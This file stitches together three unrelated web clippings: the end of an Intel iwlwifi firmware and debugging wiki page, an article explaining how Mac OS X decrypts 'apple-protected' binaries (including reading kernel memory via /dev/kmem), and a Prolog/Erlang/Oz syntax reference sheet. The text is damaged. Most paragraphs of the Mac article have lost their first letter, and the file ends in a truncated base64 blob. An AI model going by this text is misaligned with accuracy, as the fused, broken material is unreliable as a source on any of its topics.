Intel® Centrino® Ultimate-N 6300,  
Intel® Centrino® Advanced-N 6200  | 2.6.30+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000-ucode-9.176.4.1.tgz  
2.6.30+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000-ucode-9.193.4.1.tgz  
2.6.30+  | <img src='"../img/moin-attach.png"' />iwlwifi-6000-ucode-9.221.4.1.tgz  
Intel® Centrino® Wireless-N 1000  | 2.6.30+  | <img src='"../img/moin-attach.png"' />iwlwifi-1000-ucode-128.50.3.1.tgz  
3.2+  | <img src='"../img/moin-attach.png"' />iwlwifi-1000-ucode-39.31.5.1.tgz  
Intel® Centrino® Wireless-N 100  | 2.6.37+  | <img src='"../img/moin-attach.png"' />iwlwifi-100-ucode-39.31.5.1.tgz  
Intel® Centrino® Wireless-N 135  | 3.2+  | <img src='"../img/moin-attach.png"' />iwlwifi-135-ucode-18.168.6.1.tgz  
Intel® Centrino® Wireless-N 105  | 3.2+  | <img src='"../img/moin-attach.png"' />iwlwifi-105-ucode-18.168.6.1.tgz  
Intel® Centrino® Wireless-N 2200  | 3.2+  | <img src='"../img/moin-attach.png"' />iwlwifi-2000-ucode-18.168.6.1.tgz  
Intel® Centrino® Wireless-N 2230  | 3.2+  | <img src='"../img/moin-attach.png"' />iwlwifi-2030-ucode-18.168.6.1.tgz  
Intel® Wireless 7260  | 3.10+  | <img src='"../img/moin-attach.png"' />iwlwifi-7260-ucode-22.1.7.0.tgz  
3.13+  | <img src='"../img/moin-attach.png"' />iwlwifi-7260-ucode-22.24.8.0.tgz  
3.14.9+  | <img src='"../img/moin-attach.png"' />iwlwifi-7260-ucode-25.228.9.0.tgz  
3.17+  | <img src='"../img/moin-attach.png"' />iwlwifi-7260-ucode-23.11.10.0.tgz  
Intel® Wireless 3160  | 3.10+  | <img src='"../img/moin-attach.png"' />iwlwifi-3160-ucode-22.1.7.0.tgz  
3.13+  | <img src='"../img/moin-attach.png"' />iwlwifi-3160-ucode-22.24.8.0.tgz  
3.14.9+  | <img src='"../img/moin-attach.png"' />iwlwifi-3160-ucode-25.228.9.0.tgz  
3.17+  | <img src='"../img/moin-attach.png"' />iwlwifi-3160-ucode-23.11.10.0.tgz  
Intel® Wireless 7265  | 3.13+  | <img src='"../img/moin-attach.png"' />iwlwifi-7265-ucode-22.24.8.0.tgz  
3.14.9+  | <img src='"../img/moin-attach.png"' />iwlwifi-7265-ucode-25.228.9.0.tgz  
3.17+  | <img src='"../img/moin-attach.png"' />iwlwifi-7265-ucode-23.11.10.0.tgz  
# git repositories

There are three repositories that we maintain:

  * <img src='"../img/moin-www.png"' />iwlwifi-fixes with fixes for the current kernel release cycle 
  * <img src='"../img/moin-www.png"' />iwlwifi-next with features for the next kernel release cycle 
  * <img src='"../img/moin-www.png"' />iwlwifi/linux-firmware that feeds the official <img src='"../img/moin-www.png"' />linux-firmware tree. It contains early releases, or content that just hasn't been merged in <img src='"../img/moin-www.png"' />linux-firmware yet. 

# Download

If you need to use the current driver on an older kernel, you can use the
compat-drivers project for that. See <img src='"../img/moin-www.png"'
/>https://backports.wiki.kernel.org/ for more information.

# Bugzilla

Due to security issues, the bugzilla instance was disabled. Issues can be
filed in <img src='"../img/moin-www.png"' />kernel's bugzilla. Make sure to
add <img src='"../img/moin-email.png"' />ilw@linux.intel.com to the bug.

# Debugging

## Prints

The simplest way to provide minimal output is to dump your kernel log: dmesg.
Sometimes we will ask for logs from the supplicant too - they typically land
in syslog. iwlwifi can print more data to the kernel log if asked to: this is
controlled by the debug module parameter. This is a <img src='"../img/moin-
www.png"' />bitmap. To see more debug prints, <img src='"../img/moin-www.png"'
/>CONFIG\_IWLWIFI\_DEBUG must be enabled.

## Tracing

Another \(more powerful\) way to debug iwlwifi is to use tracing:

[code]

    sudo trace-cmd record -e iwlwifi
[/code]

We will typically ask for more switches:

[code]

    sudo trace-cmd record -e iwlwifi -e mac80211 -e cfg80211 -e iwlwifi_msg
[/code]

This records all the data that goes from and to the firmware. The output is a
file: trace.dat which you can compress prior to sending. To enable tracing,
<img src='"../img/moin-www.png"' />CONFIG\_IWLWIFI\_TRACING must be set.

## Firmware Debugging

When the firmware crashes, you'll see a message like this:

[code]

    iwlwifi 0000:01:00.0: Microcode SW error detected.  Restarting 0x82000000.
    [snip]
    iwlwifi 0000:01:00.0: Loaded firmware version: XX.XX.XX.XX
    iwlwifi 0000:01:00.0: 0x0000090A | ADVANCED_SYSASSERT
[/code]

In this case, please copy the whole dmesg output since there may be data
before and after this message that can be helpful. starting from kernel 3.15,
iwlwifi will record data when the firwmare crashes so that it can be retrieved
later. The data can be fetched by a simple:

[code]

    cat /sys/kernel/debug/iwlwifi/*/iwlmvm/fw_error_dump > iwl.bin
[/code]

This assumes that <img src='"../img/moin-www.png"' />CONFIG\_IWLWIFI\_DEBUGFS
is set.

A udev event is sent each time the firmware crashes, so that you can automate
the process by writing a rule:

[code]

    DRIVER=="iwlwifi", ACTION=="change", RUN+="/bin/dump_iwl_data.sh"
[/code]

Then /bin/dump\_iwl\_data.sh can simply cat the debugfs hook to a file.

Starting from kernel 3.17, iwlwifi supports firmware monitor. To enable it,
load iwlwifi with fw\_monitor=1 as a module parameter. The firmware monitor
requires a very big chunk of contiguous memory to write its data - it tries to
allocate 64MB and scales down if the allocation fails. This is why it is not
enabled by default. Note that you will need a customized firmware to use the
firmware monitor.

## Privacy aspects

By sending the debug logs you are providing information to Intel such as your
email address, peer’s MAC address, and other information. This information
will be used only for the purpose of troubleshooting the issue you are
reporting. Intel is committed to protecting your privacy. To learn more about
Intel’s privacy practices, please visit <img src='"../img/moin-www.png"'
/>Intel's privacy site or write Intel Corporation, ATTN Privacy, Mailstop
RNB4-145, 2200 Mission College Blvd., Santa Clara, CA 95054 USA.

Please don't attach the file created by Firmware Debugging to public bug
trackers \(such as bugzilla\), but send it privately through email. We
recommend you encrypt the data using Emmanuel Grumbach's PGP key \(6E363201\).

  

# Understanding Apple's Binary Protection in Mac OS X

**Created:**| _9/3/2009 10:03:39 AM_  
---|---  
**Updated:**| _9/18/2009 10:32:04 AM_  
**Author:**| __  
**Tags:**| _Debugging Mac-hacking_  
  

# Understanding Apple's Binary Protection in Mac OS X

© Amit Singh. All Rights Reserved. Written in October 2006  
  

### Introduction

ith the advent of Intel-based Macintosh computers, Apple was faced with a new
requirement: to make it non-trivial to run Mac OS X on non-Apple hardware. The
"solution" to this "problem" is multifaceted. One important aspect of the
solution involves the use of encrypted executables for a few key applications
like the Finder and the Dock. Apple calls such executables  _apple-protected
binaries_. In this document, we will see how apple-protected binaries work in
Mac OS X.

_elax. Please don't send me a note telling me about your "friend" who has been
"easily" running Mac OS X on the laundry machine. When I say "non-trivial,"
we're not talking about mathematical impossibility, etc._

ote that besides hindering software piracy, there are other scenarios in which
encrypted binaries could be desirable. For example, one could turn the
requirement around and say that a given system must  _not run_ any binaries
unless they are from a certain source \(or set of sources\). This could be
used to create an admission-control mechanism for executables, which in turn
could be used in defending against malware. In a draconian managed
environment, it might be desired to limit program execution on managed systems
to a predefined set of programs—nothing else will execute. In general, a set
of one or more binaries could be arbitrarily mapped \(in terms of
runnability\) to a set of one or more machines, possibly taking users, groups,
and other attributes into account. I must point out that to create such a
mechanism, one doesn't  _have_ to use encrypted binaries.

urther details on various concepts and terminology used in this document can
be found in the book  _Mac OS X Internals: A Systems Approach_. Specific
references are provided within "Further Reading" boxes throughout this page.

### The Structure of an Apple-Protected Binary

typical Mach-O file contains a  _header_ at its beginning, followed by a
sequence of  _load commands_ , followed by data for one or more _segments_.
Load commands, which can have variable size, specify how the file is laid out
and how it is to be linked. A segment, which contains a sequence of zero or
more  _sections_ , is described by an `LC_SEGMENT` load command. Figure 1
shows the relevant data structure.

`struct segment_command { unsigned long cmd; /* LC_SEGMENT */ unsigned long
cmdsize; /* includes sizeof section structs */ char segname[16]; /* segment
name */ unsigned long vmaddr; /* memory address of this segment */ unsigned
long vmsize; /* memory size of this segment */ unsigned long fileoff; /* file
offset of this segment */ unsigned long filesize; /* amount to map from the
file */ vm_prot_t maxprot; /* maximum VM protection */ vm_prot_t initprot; /*
initial VM protection */ unsigned long nsects; /* number of sections in
segment */ unsigned long flags; /* flags */ };`

**Figure 1.** The data structure representing the `LC_SEGMENT` command

  

**Further Reading**

  * Mac OS X Internals: Section 2.6, The Runtime Architecture

n Mac OS X 10.4.x, an apple-protected binary is a Mach-O file containing one
or more AES-encrypted segments. The `LC_SEGMENT` load command for an encrypted
segment has a special bit \(`0x8`\) set. Actually, the first few \(3 in Mac OS
X 10.4.x\) pages of the segment are not encrypted—the rest are.

e can use the `otool` command-line program to view the load commands in a
Mach-O file. Figure 2 shows excerpts from the output of running `otool` on the
binaries for `ls` and the Finder. We see that the `flags` field has the `0x8`
bit set in the case of the Finder, which is an apple-protected binary, but not
in the case of `ls`.

`$ otool -l /bin/ls /bin/ls: Load command 0 ... Load command 1 cmd LC_SEGMENT
cmdsize 600 segname __TEXT vmaddr 0x00001000 vmsize 0x00004000 fileoff 0
filesize 16384 maxprot 0x00000007 initprot 0x00000005 nsects 8 flags 0x0
Section ... $ cd /System/Library/CoreServices/Finder.app/Contents/MacOS $
otool -l Finder Finder: Load command 0 ... Load command 1 cmd LC_SEGMENT
cmdsize 872 segname __TEXT vmaddr 0x00001000 vmsize 0x002e8000 fileoff 0
filesize 3047424 maxprot 0x00000007 initprot 0x00000005 nsects 12 flags 0x8
Section ...`

**Figure 2.** Using `otool` to view Mach-O load commands

  

ne can write a simple program that trawls the entire system looking for Mach-O
files matching the apple-protected criteria. The following is a list of
\(possibly non-exhaustive\) apple-protected binaries in Mac OS X 10.4.x.

  * The `Dock` binary within Dock.app
  * The `Finder` binary within Finder.app
  * The `loginwindow` binary within loginwindow.app
  * The `SystemUIServer` binary within SystemUIServer.app
  * The `mds` support binary within Metadata.framework
  * The `ATSServer` support binary within ATS.framework
  * The `translate` and `translated` Rosetta-related binaries in `/usr/libexec/oah/`

efore we see how apple-protected binaries are executed, let us look at an
overview of how the Intel version of Mac OS X executes program in general.

### Mac OS X Program Execution: A Simplified Description

n the first version of UNIX, the `exec` system call was used to execute a file
by overlaying the calling process with the file and transferring control to
beginning of the file's core image. The basic idea is the same in Mac OS X.
The `execve` system call ultimately executes programs from the kernel's
standpoint, regardless of the user-level API used to initiate the execution
attempt.

`#include <unitstd.h> int **execve**(const char *path, char *const argv[],
char *const envp[]);`

**Figure 3.** The `execve` system call

  

s Figure 3 indicates, `execve()` begins with the path to an executable. The
system call handler uses the `namei()` kernel function to convert a path into
a  _vnode_. Given the vnode, the corresponding file can be read from.

**Further Reading**

  * Mac OS X Internals: Section 7.5, The `execve()` System Call
  * Mac OS X Internals: Section 11.6, The VFS Layer

`xecve()` reads the first page \(4096 bytes\) from the file to examine what
kind of a program it is. The x86 version of the Mac OS X kernel can handle the
execution of the following  _file_ types.

  * 32-bit Mach-O x86 binaries
  * 32-bit Mach-O PowerPC binaries \(handled through Rosetta\)
  * 64-bit Mach-O x86 binaries \(requires 64-bit hardware\)
  * "Fat" binaries \(the fat binary must contain at least one of the aforementioned supported types\)
  * Interpreter scripts

he following additional points are noteworthy:

  * 64-bit Mach-O PowerPC binaries are not supported by Rosetta.
  * A fat binary is essentially an archive consisting of one or more Mach-O binaries concatenated, along with a header at the beginning. Apple's marketing term for these is  _Universal binaries_.
  * An interpreter script is a text file that traditionally begins with the `#!` characters followed by a path to the interpreter. Files  _not_ containing the `#!` line are treated as shell scripts—not by the kernel, but by the `execvP` stub in the C library. If the stub gets an`ENOEXEC` error from the kernel when such a file's execution is attempted, it reattempts execution by using `"/bin/sh"` as the first argument to `execve()` and the file as the next argument.

iven the first page of the file, `execve()` attempts to determine the file
type using a multipass algorithm. For example, in the case of a fat binary, it
calculates the location of the appropriate Mach-O binary \(if any\) within the
fat binary, reads the first page of the new target binary, and reexamines its
header. Here we are interested in apple-protected binaries, so we will not
discuss how the special cases of Rosetta and interpreter scripts are handled.

pon identifying a Mach-O binary, `execve()` calls the Mach-O  _image
activator_ \(fancy name for a handler function\) to take care of the actual
execution. The activator performs a variety of sanity checks, sets various
flags, handles task-working-set caching details, and eventually commences to
_load_ the Mach-O file. This loading step includes setting up an appropriate
virtual memory map and  _parsing_ the Mach-O commands in the binary.

f particular interest to us is the `LC_SEGMENT` command, which, as we saw
earlier, describes a segment. For every `LC_SEGMENT` command, the kernel
checks the `flags` field to see if the apple-protected bit is set, and if so,
it proceeds to  _unprotect_ that segment as an additional step before deeming
the load a success. Figure 4 shows a relevant kernel code excerpt illustrating
the control flow that occurs during the handling of `execve()`.

`// The execve system call handler int **execve**(...) { ... // The case of a
Mach-O file error = exec_mach_imgact(...); ... } // Mach-O image activator
static int **exec_mach_imgact**(struct image_params *imgp) { ... lret =
load_machfile(...); ... } load_return_t **load_machfile**(...) { ... lret =
parse_machfile(...); ... } // Parse and handle Mach-O load commands static
load_return_t **parse_machfile**(...) { ... switch (lcp->cmd) { case
LC_SEGMENT: ... ret = load_segment(...); ... } ... } static load_return_t
**load_segment**(...) { ... if (scp->flags & 0x8) { // This is an apple-
protected segment ret = unprotect_segment_64((uint64_t)scp->fileoff,
(uint64_t)scp->filesize, map, (vm_map_offset_t)map_addr,
(vm_map_size_t)map_size); } else { ret = LOAD_SUCCESS; } return ret; }`

**Figure 4.** Unprotecting a protected Mach-O segment during execution

  

et us now look at how the kernel handles "unprotection".

### Unprotecting Apple-Protected Binaries

he "unprotect" operation determines the offset at which to begin \(recall that
the first few pages of an apple-protected segment are not encrypted\) and
calls a special memory-mapping function, `vm_map_apple_protected()`.

n a Mach-based VM subsystem, `vm_map()` maps the specified  _memory object_ to
a region of virtual memory. Crudely put, a memory object represents a range of
_pages_ all of which are accessible through a given  _pager_ \(also called a
_memory manager_\). The pager handles page-ins and page-outs over the memory
region\(s\) it is responsible for. For example, when the kernel calls a pager
to handle a page-in operation, the pager can retrieve the page's data from a
backing store such as a disk. When a file is being executed, it is the _vnode
pager_ that retrieves pages from the file.

  

**Further Reading**

  * Mac OS X Internals: Section 8.2, An Overview of Mac OS X Memory Management
  * Mac OS X Internals: Section 8.3, Mach VM
  * Mac OS X Internals: Section 8.6, The Mach VM User-Space Interface

`m_map_apple_protected()` does a rather simple thing: it essentially
_interposes_ another pager, the  _apple-protect pager_ , between the kernel
and the vnode pager. Normally, the kernel would communicate with the vnode
pager to request data for a page. With this interposition in place, the kernel
communicates with the apple-protect pager instead, which takes the encrypted
mapping backed by the vnode pager and _transforms_ \(decrypts\) each page as
it is requested by the kernel. Figure 5 shows a code excerpt.

`// Called to handle page-ins kern_return_t apple_protect_pager_data_request(
memory_object_t mem_obj, memory_object_offset_t offset, vm_size_t length,
vm_prot_t protection_required) { ... dsmos_page_transform((const void
*)src_vaddr, (void *)dst_vaddr); ... }`

**Figure 5.** Page-transformation performed by the apple-protect pager

  

ote that the apple-protect pager doesn't support page-outs. In fact, its
implementation of the routine for handling page-outs \(the "data return"
routine in Mach pager parlance\) panics the system because it should never be
called under normal circumstances \(unlike
`vm_map()`,`vm_map_apple_protected()` is not an exposed interface\).

musingly, the "dsmos" prefix in Figure 5 stands for  _"Don't Steal Mac OS X"_.
In fact, the `Don't Steal Mac OS X.kext` kernel extension plays a critical
role in the working of the apple-protect pager. The `dsmos_page_transform()`
function, which takes as arguments a source \(encrypted\) page and a
destination \(decrypted\) page, simply calls the function pointed to by the
`dsmos_hook` function pointer. The "dsmos" kernel extension sets this function
pointer to point to `page_transform()`, a function implemented within the
kernel extension.`page_transform()` performs the actual AES decryption.

sing some means of peeking at kernel memory, you can catch the apple-protect
pager in action. For example, one of the counters this pager maintains is an
integer named `apple_protect_pager_count_mapped`. We can retrieve the value of
this integer from the kernel and see how the value changes as we run programs.
Since the Rosetta binaries are apple-protected, we can run a trivial PowerPC
binary that sleeps for a little while, and examine the counter's value before,
during, and after the execution of the binary. Figure 6 shows the experiment,
which uses a script \(`readksym.sh`\) for reading kernel symbols via
`/dev/kmem`.

**Further Reading**

  * Mac OS X Internals: Section 8.2.1, Reading Kernel Memory From User Space
  * Accessing Kernel Memory on the x86 Version of Mac OS X

`$ cat sleeper.c main() { sleep(30); } $ gcc -arch ppc -o sleeper sleeper.c $
sudo readksym.sh _apple_protect_pager_count_mapped 4 0000000 0008 0000 $
./sleeper & [1] 7173 $ sudo readksym.sh _apple_protect_pager_count_mapped 4
0000000 0009 0000 [1] + done ./sleeper $ sudo readksym.sh
_apple_protect_pager_count_mapped 4 0000000 0008 0000`

**Figure 6.** Viewing the number of times the apple-protect pager is mapped

  

eferring to the list of apple-protected binaries we came across earlier, we
should be able to account for each mapped instance of the apple-protect pager.

### Don't Steal Mac OS X \(In Your Address Space\)

n Mac OS X 10.4.x, the "dsmos" kernel extension also stashes a 256-byte blob
of  _integrity data_ in the  _commpage_. This data is visible at an offset of
`0x1600` bytes from the start of the commpage in every user task's virtual
address space. In the x86 version of Mac OS X 10.4.x, the commpage starts at
`-16 x 4096` bytes. Therefore, the integrity data is at the address `-16 x
4096 + 0x1600`. Figure 7 shows a trivial program that demonstrates this by
printing the "string" at the virtual address of interest.

`$ cat dsmos.c main() { puts(-16 * 4096 + 0x1600); } $ gcc -o dsmos dsmos.c $
./dsmos Your karma check for today: There once was was a user that whined his
existing OS was so blind, he'd do better to pirate an OS that ran great but
found his hardware declined. Please don't steal Mac OS! Really, that's way
uncool. (C) Apple Computer, Inc.U??VWS?5P`

**Figure 7.** Dumping the commpage-resident "dsmos" data

  

**Further Reading**

  * Mac OS X Internals: Section 6.7.6, The Commpage
  * Mac OS X Internals: Section 8.13, System Shared Memory

# Declarative Languages: Prolog, Erlang, Oz - Hyperpolyglot

**Created:**| _10/11/2011 6:27:06 PM_  
---|---  
**Updated:**| _10/11/2011 6:27:06 PM_  
**Author:**| __  
**Tags:**| _Erlang_  
  

# Hyperpolyglot

Declarative Languages: Prolog, Erlang, Oz

_a side-by-side reference sheet_

arithmetic and logic | strings | lists and tuples | other containers | functions | execution control | environment and i/o | libraries and modules | reflection and hooks | repl | contact | edit  

| prolog \(1972\)| erlang \(1986\)| oz \(1991\)  
---|---|---|---  
version used| SWI Prolog 5.10.1| 5.7.4| 1.4.0  
get version| $ swipl \--version|  _displayed by_ erl _at startup_|  
repl| $ swipl| $ erl|  
statement terminator| .| .|  
atom|  _lower case letter followed by alphanumeric characters; can also
include underscore: \__| _lower case letter followed by alphanumeric
characters; can also include period: . at-sign: @ underscore: \__| _lower case
letter followed by alphanumeric characters_  
quoted atom|  _any printable characters inside single quotes; use backslash to
escape a single quote._| _any printable characters inside single quotes; use
backslash or two single quotes to escape a single quote._| _any printable
characters inside single quotes_  
variable|  _upper case letter followed by alphanumeric characters_|  _upper
case letter following by alphanumeric characters and underscores._|  
variable definition| |  _previously unused variables on the left side of an equal sign will be assigned to values that make the left match the right_|  declare X = 3  
if| | if  
X > 0 -> 1;  
X == 0 -> X;  
X < 0 -> -1  
end| if X > 0 then 1 else if X==0 then 0 else ~1 end end  
case| | case X of  
1 -> true;  
0 -> false  
end|  
single line comment| % a comment| % a comment| % a comment  
arithmetic and logic  
| prolog| erlang| oz  
true and false| true fail| true false|  
logical operators| , ; _??_ _??_|  and or xor not  
_short circuit operators:_  
andalso orelse  
_in guards:_  
, ;|  
comparison operators| = \= < > =< >=| == /= < > =< >=  
_no numeric conversion:_  
=:= =/=| == \= < > =< >=  
arithmetic expression| is\(X,2+2\).| X = 2 + 2.| declare Y = 2 + 2  
arithmetic operators| \+ - \* \*\* _int:_ _?? ??_ _float:_ /| \+ - \* _none_
_int:_ div rem _float:_ /  
_use_ math:pow _for exponentiation_|  \+ - \* _??_ _int:_ div mod _float:_ /  
arithmetic functions| sqrt exp log sin cos tan asin acos atan atan2| math:sqrt
math:exp math:log math:sin math:cos math:tan math:asin math:acos math:atan
math:atan2|  
arithmetic truncation| truncate round floor ceiling| trunc round _??_ _??_|  
arithmetic decomposition| | |   
convert from string, to string| | 7 + list\_to\_integer\("12"\)  
73.9 + list\_to\_float\("0.039"\)  
"value: " ++ integer\_to\_list\(8\)  
"value: " ++ float\_to\_list\(3.14\)|  
unary minus| -4| -4| ~4  
float literal with exponent| 2.0e2  
-2.0E-2| 2.0e2  
-2.0E-2| 2.0e2  
~2.0E~2  
random integer, float| is\(X, random\(100\)\).  
_??_|  random:uniform\(\).  
random:uniform\(100\).|  
seed| set\_random\(seed\(17\)\).| random:seed\(17,17,17\).|  
result of not seeding|  _seeded using_ /dev/random _or system time_|
_interpreter uses same seed at startup._|  
strings  
| prolog| erlang| oz  
string literal| "don't say \"no\""| "don't say \"no\""| "hello"  
character literal|  _none_|  $A|  
chr and ord| char\_code\(X, 65\).  
char\_code\('A', X\).| |   
convert atom to string, from string| name\(foo, X\).  
string\_to\_atom\("foo", X\).| atom\_to\_list\(foo\)  
list\_to\_existing\_atom\("foo"\)|  
string length| length\("hello",X\).| length\("hello"\)|  
concatenate| append\("one ","two ",Y\), append\(Y,"three",X\).| "one " ++ "two
" ++ "three"  
_concatenates double quoted string literals only:_  
"one " "two " "three"|  
lists and tuples  
| prolog| erlang| oz  
list literal| \[1,2,3\]| \[1,2,3\]| \[1 2 3\]  
cons| X = \[4|\[3,2,1\]\].| \[4|\[3,2,1\]\]| 4|\[3 2 1\]  
head| \[X|\_\] = \[1,2,3\].| hd\(\[1,2,3\]\)  
_or use pattern matching:_  
\[Head|\_\] = \[1,2,3\].  
Head| \[1 2 3\].1  
tail| \[\_|X\] = \[1,2,3\].| tl\(\[1,2,3\]\)  
_or use pattern matching:_  
\[\_|Tail\] = \[1,2,3\].  
Tail| \[1 2 3\].2  
length| length\(\[1,2,3\], X\).| length\(\[1,2,3\]\)| \{Length \[1 2 3\]\}  
append| append\(\[1,2\], \[3,4\], List\).| \[1,2\] ++ \[3,4\]|  
sort| sort\(\[1,3,2,4\], X\).| lists:sort\(\[1,3,2,4\]\).|  
reverse| reverse\(\[1,2,3,4\], X\).| lists:reverse\(\[1,2,3,4\]\).|  
zip| | lists:zip\(\[1,2,3\],\["a","b","c"\]\).|   
map| | lists:map\(fun\(X\) -> X\*X end, \[1,2,3\]\).|   
filter| | lists:filter\(fun\(X\) -> X > 2 end, \[1,2,3\]\).|   
left fold| | lists:foldl\(fun\(X,Y\) -> X-Y end, 0, \[1,2,3,4\]\).|   
right fold| | lists:foldr\(fun\(X,Y\) -> X-Y end, 0, \[1,2,3,4\]\).|   
tuple literal| \(1, "hello", 3.14\)| \{1, "foo", 3.14\}| \(1 "foo" 3.14\)  
tuple element access| | element\(1, \{1, "foo", 3.14\}\)  
setelement\(2, \{1, "foo", 3.14\}, "bar"\)|  
tuple length| | tuple\_size\(\{1, "foo", 3.14\}\)|   
other containers  
record| | | medal\_count\(country:"Spain" gold:7 silver:4 bronze:8\)  
| prolog| erlang| oz  
functions  
function definition| factorial\(0,1\).  
factorial\(N,F\) :- is\(N1, N - 1\), factorial\(N1,F1\), is\(F, N\*F1\).|
factorial\(0\) -> 1;  
factorial\(N\) -> N \* factorial\(N-1\).| declare  
fun \{Fact N\}  
XXif N==0 then 1 else N\*\{Fact N-1\} end  
end  
function definition with guards| | factorial\(N\) when N > 0 -> N \* factorial\(N-1\);  
factorial\(0\) -> 1.|  
anonymous function| | fun\(X, Y\) -> X+Y end|   
piecewise defined anonymous function| | fun\(\[\]\) -> null;  
\(\[X|\_\]\) -> X  
end|  
execution control  
| prolog| erlang| oz  
for| | | for I in 1..10 do \{Browse I\} end  
try/catch| | X = 0.  
try \(7 div X\) of  
Val -> Val  
catch  
error:badarith -> 0  
end.|  
receive message| | -module\(echo\).  
-export\(\[loop/0\]\).  
  
loop\(\) ->  
receive  
\{From, Msg\} ->  
From \! \{ self\(\), Msg\},  
loop\(\);  
stop ->  
true  
end.|  
spawn process| | Pid = spawn\(echo, loop, \[\]\).|   
send message| | Pid \! \{self\(\), hello\}.|   
list processes| | processes\(\).|   
environment and i/o  
| prolog| erlang| oz  
open file for reading| open\('foo.txt', read, Fd\).| |   
open file for writing| open\('foo.txt', write, Fd\).| |   
close file| close\(Fd\).| |   
read line| | X = io:get\_line\("type line: "\).|   
read character| get\_char\(X\).| X = io:get\_chars\("type char: ", 1\).|  
read term| read\(X\).| \{ok,X\} = io:read\("type term: "\).|  
write character| put\_char\("A"\).  
put\_char\(65\)| |   
write term| X = hello, write\(X\).| io:write\(X\).|  
printf| format\('foo: ~s ~2f ~w~n', \["bar", 3.1415, 7\]\).| io:format\("foo:
~s ~.2f ~w~n", \["bar", 3.1415, 7\]\).|  
libraries and modules  
| prolog| erlang| oz  
load file|  _ways to load file_ data.pl:  
\[data\].  
\['data.pl'\].  
consult\(data\)| |   
define module| |  _in file_ factorial.erl  
-module\(factorial\).  
-export\(\[factorial/1\]\).  
_definition of_ factorial|  
compile module| | c\(factorial\).|   
use function in module| | factorial:factorial\(7\).|   
reflection and hooks  
| prolog| erlang| oz  
inspect module| | factorial:module\_info\(\).|   
repl  
clear variable| | f\(X\).|   
clear all variables| | f\(\).|   
display processes| | i\(\).|   
|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_|
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
# General

# Arithmetic and Logic

## comparison operators

**erlang:**

Comparison operators can be performed on values with different types. In this
case the precedence is determined by  
the type according to this sequence:

[code]

    number < atom < reference < fun < port < pid < tuple < list < binary
    
[/code]

If a comparison is performed on an integer and a float, the integer will be
converted to a float. _=:=_ and _=/=_ do not perform conversions and thus will
always return false and true respectively when called on an integer and a
float.

# Strings

# Lists and Tuples

# Other Containers

# Functions

## function definition

## function definition with guards

**erlang:**

The expressions in guards must be side-effect free. Thus they can only contain
the following:

  * bound variables
  * literals
  * type tests: _is\_atom_ , _is\_boolean_ , _is\_tuple_ , …
  * comparison operators
  * arithmetic operators
  * boolean operators
  * a few built-in functions

# Execution Control

# Environment and I/O

## read line

**erlang:**

_io:get\_line_ accepts an argument which is displayed as a prompt. The return
value is a string which includes the newline.

## read character

**erlang:**

_io:get\_chars_ accepts two arguments. The first is a string which is
displayed as a prompt. The second is the number of characters to be read. The
function keeps reading lines until the requested number of characters has been
collected. The return value is a string which can contain newlines if a line
of less than the requested number of characters was entered.

# Libraries and Modules

# Reflection and Hooks

# REPL

# Prolog

SWI Prolog Reference Manual  
GNU Prolog Manual  
Prolog: The ISO Standard Document

# Erlang

Erlang Reference Manual User's Guide  
Erlang Standard Library  
A response to “Erlang - overhyped or underestimated”

# Oz

The Oz Base Environment  
System Modules  
Tutorial of Oz

Oz runs in Emacs. There will be three buffers: `Oz`, which contains the source
code, `*Oz Compiler*`, which contains messages from the compiler, and `*Oz
Emulator*`, which contains standard output from running the code. A single
line of Oz code can be executed with `C-c . C-l`

page revision: 223, last edited: 15 Aug 2011, 07:51 CEST \(57 days ago\)

Edit History Files \+ Options

Help | Terms of Service | Privacy | Report a bug | Flag as objectionable
Powered by Wikidot.com

Unless otherwise stated, the content of this page is licensed under Creative
Commons Attribution-ShareAlike 3.0 License

<img
src='http://hyperpolyglot.org/data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAACXBIWXMAAAsTAAALEwEAmpwYAAADGGlDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjaY2BgnuDo4uTKJMDAUFBUUuQe5BgZERmlwH6egY2BmYGBgYGBITG5uMAxIMCHgYGBIS8/L5UBFTAyMHy7xsDIwMDAcFnX0cXJlYE0wJpcUFTCwMBwgIGBwSgltTiZgYHhCwMDQ3p5SUEJAwNjDAMDg0hSdkEJAwNjAQMDg0h2SJAzAwNjCwMDE09JakUJAwMDg3N+QWVRZnpGiYKhpaWlgmNKflKqQnBlcUlqbrGCZ15yflFBflFiSWoKAwMD1A4GBgYGXpf8EgX3xMw8BSMDVQYqg4jIKAUICxE+CDEESC4tKoMHJQODAIMCgwGDA0MAQyJDPcMChqMMbxjFGV0YSxlXMN5jEmMKYprAdIFZmDmSeSHzGxZLlg6WW6x6rK2s99gs2aaxfWMPZ9/NocTRxfGFM5HzApcj1xZuTe4FPFI8U3mFeCfxCfNN45fhXyygI7BD0FXwilCq0A/hXhEVkb2i4aJfxCaJG4lfkaiQlJM8JpUvLS19QqZMVl32llyfvIv8H4WtioVKekpvldeqFKiaqP5UO6jepRGqqaT5QeuA9iSdVF0rPUG9V/pHDBYY1hrFGNuayJsym740u2C+02KJ5QSrOutcmzjbQDtXe2sHY0cdJzVnJRcFV3k3BXdlD3VPXS8Tbxsfd99gvwT//ID6wIlBS4N3hVwMfRnOFCEXaRUVEV0RMzN2T9yDBLZE3aSw5IaUNak30zkyLDIzs+ZmX8xlz7PPryjYVPiuWLskq3RV2ZsK/cqSql01jLVedVPrHzbqNdU0n22VaytsP9op3VXUfbpXta+x/+5Em0mzJ/+dGj/t8AyNmf2zvs9JmHt6vvmCpYtEFrcu+bYsc/m9lSGrTq9xWbtvveWGbZtMNm/ZarJt+w6rnft3u+45uy9s/4ODOYd+Hmk/Jn58xUnrU+fOJJ/9dX7SRe1LR68kXv13fc5Nm1t379TfU75/4mHeY7En+59lvhB5efB1/lv5dxc+NH0y/fzq6